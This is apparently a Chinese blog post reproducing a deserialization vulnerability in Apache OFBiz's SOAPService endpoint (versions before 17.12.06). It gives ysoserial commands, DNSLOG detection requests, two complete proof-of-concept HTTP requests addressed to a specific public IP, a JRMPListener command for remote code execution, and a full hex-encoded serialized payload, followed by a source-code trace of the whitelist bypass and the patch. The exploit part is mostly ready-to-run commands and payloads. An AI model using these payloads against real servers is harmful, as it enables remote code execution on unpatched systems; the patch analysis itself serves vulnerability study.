漏洞影响版本:apache:ofbiz<17.12.06
补丁代码:https://github.com/apache/ofbiz-framework/commit/af9ed4e/
漏洞触发路径:https://ip:8443/webtools/control/SOAPService
漏洞复现
环境搭建:
docker pull andyjunghans/ofbiz
docker run -p 8080:8080 -p 8443:8443 andyjunghans/ofbiz
漏洞检测
利用DNSLOG链,以下是命令,用于生成16进制表示的字节码。
java -jar ysoserial-0.0.8-SNAPSHOT-all.jar URLDNS http://dnslog.com | xxd -p -c 10000000
或者
java -jar ysoserial.jar URLDNS http://kzjtft.dnslog.cn >1.bin
用以下脚本进行二进制转16进制
import binascii
# 提示用户输入文件名
filename = input("请输入文件名: ")
try:
with open(filename, 'rb') as f:
content = f.read()
hex_content = binascii.hexlify(content)
print(hex_content.decode()) # 将字节数据解码为字符串并打印出来
except FileNotFoundError:
print(f"文件 '{filename}' 不存在。请确保文件名正确并存在。")
except Exception as e:
print(f"发生错误: {e}")
写入请求中
POC1:
POST /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 875
<?xml version='1.0' encoding='UTF-8'?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/><soapenv:Body>
<ying:clearAllEntityCaches xmlns:ying="http://ofbiz.apache.org/service/">
<ying:cus-obj>内容</ying:cus-obj>
</ying:clearAllEntityCaches>
</soapenv:Body>
</soapenv:Envelope>
POC2:
POST /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 1023
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ser>
<map-HashMap>
<map-Entry>
<map-Key>
<cus-obj>内容</cus-obj>
</map-Key>
<map-Value>
<std-String value="http://kif4v7.dnslog.cn"/>
</map-Value>
</map-Entry>
</map-HashMap>
</ser>
</soapenv:Body>
</soapenv:Envelope>
注意
测试中发现,同一个dnslog地址执行的第一次有响应,第二次就没了,猜测是dns服务器有缓存的缘故,所以尽量每次用不同的dnslog地址
漏洞利用
必须使用低版本java生成payload,防止产生兼容性问题,比如jdk8_05
利用RMI反序列化进行攻击
VPS启动RMI服务端,进行攻击客户端
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 "calc.exe"
生成RMI客户端的序列化字符串,放入poc的xml中
java -jar ysoserial-0.0.8-SNAPSHOT-all.jar JRMPClient "127.0.0.1:1099" | xxd -p -c 10000000
构造payload字符串发送到目标服务器
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ser> <cus-obj>aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e310000044b000000000b3e7d8b00000000000000000000000000000078</cus-obj>
</ser>
</soapenv:Body>
</soapenv:Envelope>
SOAPEventHandler类
SOAPEventHandler是一个处理SOAP消息的事件处理器,在此漏洞中起关键作用,通过以下步骤进行调试查找
查看更新的代码
https://github.com/apache/ofbiz-framework/compare/release17.12.05...release17.12.06#files_bucket
其中在 framework/base/src/main/java/org/apache/ofbiz/base/util/SafeObjectInputStream.java处添加了过滤java.rmi.server类的逻辑
查找SafeObjectInputStream类的调用位置
在org/apache/ofbiz/base/util/UtilObject.java:112的getObjectException方法内
跟踪getObjectException方法的调用位置org/apache/ofbiz/base/util/UtilObject.java:95
继续反向跟踪调用点
org/apache/ofbiz/entity/serialize/XmlSerializer.java:475
最后到org.apache.ofbiz.service.engine.SoapSerializer处
SoapSerializer看名字是一个处理soap序列化相关的类,在org/apache/ofbiz/webapp/event/SOAPEventHandler.java中被调用,SOAPEventHandler是一个处理SOAP消息的事件处理器
在org/apache/ofbiz/webapp/event/SOAPEventHandler.java:177处进行了反序列化操作SoapSerializer.deserialize
其中看到serviceElement从reqBody获得,貌似是从请求的body中拿到的,向上跟踪下reqBody即可看到确实是这样
request.getInputStream() 返回一个 ServletInputStream 对象,您可以使用它来读取HTTP请求的主体数据。您可以从输入流中读取字节,以获取请求正文的内容。通常,这对于处理表单提交、文件上传以及其他包含大量数据的HTTP POST请求非常有用。
以下为大致请求逻辑
发送带有soap消息格式的request -> SOAPEventHandler:invoke() -> SoapSerializer:deserialize() -> XmlSerializer:多层调用-> deserializeCustom() -> UtilObject.getObject()-> getObjectException() -> SafeObjectInputStream:return wois.readObject(); -> 反序列化完成
白名单绕过导致RMI反序列化
在org/apache/ofbiz/base/util/SafeObjectInputStream.java的白名单中,whitelistPattern匹配了class是否在这个白名单内,而这个白名单则是出现绕过的地方
向上调试可发现,白名单如下,忽略了java..*中的java.rmi包,而这个包中可以利用RMI反序列化漏洞
标签:序列化,java,jar,apache,2021,Apache,org,CVE,ofbiz From: https://www.cnblogs.com/yyhuni/p/18010383